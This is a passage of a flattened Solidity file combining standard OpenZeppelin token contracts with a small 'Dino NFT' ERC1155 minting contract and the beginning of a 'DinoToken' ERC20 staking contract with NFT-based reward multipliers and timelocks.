address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC1155/ERC1155.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `from` * * Requirements: * * - `from` cannot be the zero address. * - `from` must have at least `amount` tokens of token type `id`. */ function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: NFT.sol pragma solidity ^0.8.0; // import "@openzeppelin/contracts/finance/PaymentSplitter.sol"; /** * @dev contract module which defines Bekk NFT NFT Collection * and all the interactions it uses */ contract NFToken is ERC1155, Ownable { //@dev Attributes for NFT configuration uint256 internal tokenId; uint256 public cost = 0 ether; uint256 public maxSupply = 5; uint256 public maxMintAmount = 5; string public name = "Dino NFT"; bool public paused; // @dev inner attributes of the contract /** * @dev Create an instance of Bekk NFT contract */ constructor( string memory _baseURI ) ERC1155(_baseURI) { tokenId = 0; } /** * @dev Mint edition to a wallet * @param _to wallet receiving the edition(s). * @param _mintAmount number of editions to mint. */ function mint(address _to, uint256 _mintAmount) public payable { require(!paused, "Sales are paused"); require(_mintAmount <= maxMintAmount, "Max amount exceeded"); require( tokenId + _mintAmount <= maxSupply, "Not enough mintable editions !" ); require( msg.value >= cost * _mintAmount, "Insufficient transaction amount." ); for (uint256 i = 0; i < _mintAmount; i++) { tokenId++; _mint(_to, tokenId, 1, ""); } } /** * @dev change cost of NFT * @param _newCost new cost of each edition */ function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } /** * @dev restrict max mintable amount of edition at a time * @param _newmaxMintAmount new max mintable amount */ function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } /** * @dev restrict max mintable amount of edition at a time * @param _nexMaxSupply new max supply */ function setmaxSupply(uint256 _nexMaxSupply) public onlyOwner { maxSupply = _nexMaxSupply; } /** * @dev set uri * @param _newURI new URI */ function setURI(string memory _newURI) public onlyOwner { _setURI(_newURI); } /** * @dev Disable minting process */ function pause() public onlyOwner { paused = !paused; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: DinoStaking.sol pragma solidity >=0.8.0; /** * @notice Implements a basic ERC20 staking token with incentive distribution. */ contract DinoToken is ERC20, Ownable { using SafeMath for uint256; struct stakesStruct { mapping(uint256 => uint256[]) tokensByGen; } struct rewardsMultiplier { uint256 threshold; uint256 multiplier; } struct timelock { address holder; uint256 timelock; } struct nftInstance { uint256 nftType; NFToken erc1155; IERC721Enumerable erc721; } mapping(uint256 => rewardsMultiplier) public rewardsMultipliers; uint256 private _TIMELOCK = 3 days; uint256 public constant SECONDS_PER_DAY = 86400; uint256 public constant E721 = 1; uint256 public constant E1155 = 2; mapping(uint256 => mapping(address => uint256)) public stakesTimeLock; address[] internal stakeholders; mapping(address => uint256) internal rewards; mapping(uint256 => uint256) internal rewardRates; mapping(address => stakesStruct) stakes; mapping(address => uint256) nftAddress; uint256 internal nbOfCollections; uint public maximumSupply; mapping(uint256 => nftInstance) collections; uint256 multipleReward; /** * @notice The constructor for the Staking Token. */ constructor( uint256 _supply, address[] memory _generations, uint256[] memory _nftType ) ERC20("DINO", "DINO") { _mint(msg.sender, _supply); for (uint256 i = 0; i < _generations.length; i++) { addNFTcontract(_nftType[i], _generations[i]); } maximumSupply = _supply; } function addNFTcontract(uint256 _nftType, address _nftAddress) public onlyOwner { nbOfCollections++; nftAddress[_nftAddress] = _nftType; collections[nbOfCollections].nftType = _nftType; if (_nftType == E1155) collections[nbOfCollections].erc1155 = NFToken( payable(_nftAddress) ); else collections[nbOfCollections].erc721 = IERC721Enumerable( payable(_nftAddress) ); } /* * @dev check if msg sender owns NFTs from current generation * @param _genNumber generation number */ modifier isNFTHolder(uint256 _genNumber) { uint256 _balance = getNFTBalance(_genNumber, msg.sender); require(_balance > 0, "Account Doesn't Hold Any NFT"); _; } /* * @dev Set maximum supply of token * @param _newMaxSupply new maximum supply of token */ function setMaxSupply(uint256 _newMaxSupply) public onlyOwner { maximumSupply = _newMaxSupply; } function mint(uint _amount) public onlyOwner{ _mint(msg.sender, _amount); } /* * @dev unlock user and allow him to mint * @param _holder holders address * @param _genNumber NFT collection number */ function unlockUser(address _holder, uint256 _genNumber) public onlyOwner { require(stakesTimeLock[_genNumber][_holder] > 0, "No Timelock on This User"); stakesTimeLock[_genNumber][_holder] = block.timestamp - _TIMELOCK * 2; } /* * @dev set timelock for unstaking * @param _timelock number of days */ function setTimeLock(uint256 _timelock) public onlyOwner { require(_timelock > 0, "Value Cannot be 0"); _TIMELOCK = _timelock * SECONDS_PER_DAY; } /* * @dev get rewards multipliers for current account, * multipliers depend on the number of NFTs held and the number of collections * @param _holder holder address */ function getRewardsMultiplier(address _holder) internal view returns (uint256) { uint256 multiplier = 100; uint256 nbGens = 0; for (uint256 i = 0; i < nbOfCollections; i++) { if ( stakes[_holder].tokensByGen[i + 1].length > rewardsMultipliers[i + 1].threshold ) multiplier += rewardsMultipliers[i + 1].multiplier; if (stakes[_holder].tokensByGen[i + 1].length != 0) nbGens++; } if (nbGens > 1) multiplier += nbGens * multipleReward; return multiplier; } /* * @dev set rewards multipliers for a generation, * a threshold can be set for an additional multiplier bonus * @param _genNumber NFT collection generation * @param _threshold threshold for bonus multiplier * @param _multiplier bonus value */ function setRewardsMultiplier( uint256 _genNumber, uint256 _threshold, uint256 _multiplier ) public onlyOwner { require(_multiplier > 0, "Value Cannot be 0"); require(_threshold > 0, "Value Cannot be 0"); rewardsMultipliers[_genNumber] = rewardsMultiplier( _threshold, _multiplier ); } /* * @dev set rewards multipliers for holding multiple generations * @param _multiplier bonus value */ function setMultipleGenReward(uint256 _multiplier) public onlyOwner { require(_multiplier > 0, "Value Cannot be 0"); multipleReward = _multiplier; } /* * @dev set reward rate for each generation * @param _genNumber NFT collection generation * @param _rate reward rate */ function setRewardRate(uint256 _genNumber, uint256 _rate) public onlyOwner { require(_rate > 0, "Value Cannot be 0"); require(collections[_genNumber].nftType > 0, "Generation Does Not Exist"); rewardRates[_genNumber] = _rate; } /* * @dev Get number of NFTs held by holder for current generation * @param _genNumber NFT collection generation * @param _holder holder address */ function getNFTBalance(uint256 _genNumber, address _holder) public view returns (uint256) { uint256 nftBalance = 0; if (collections[_genNumber].nftType == E721) nftBalance += 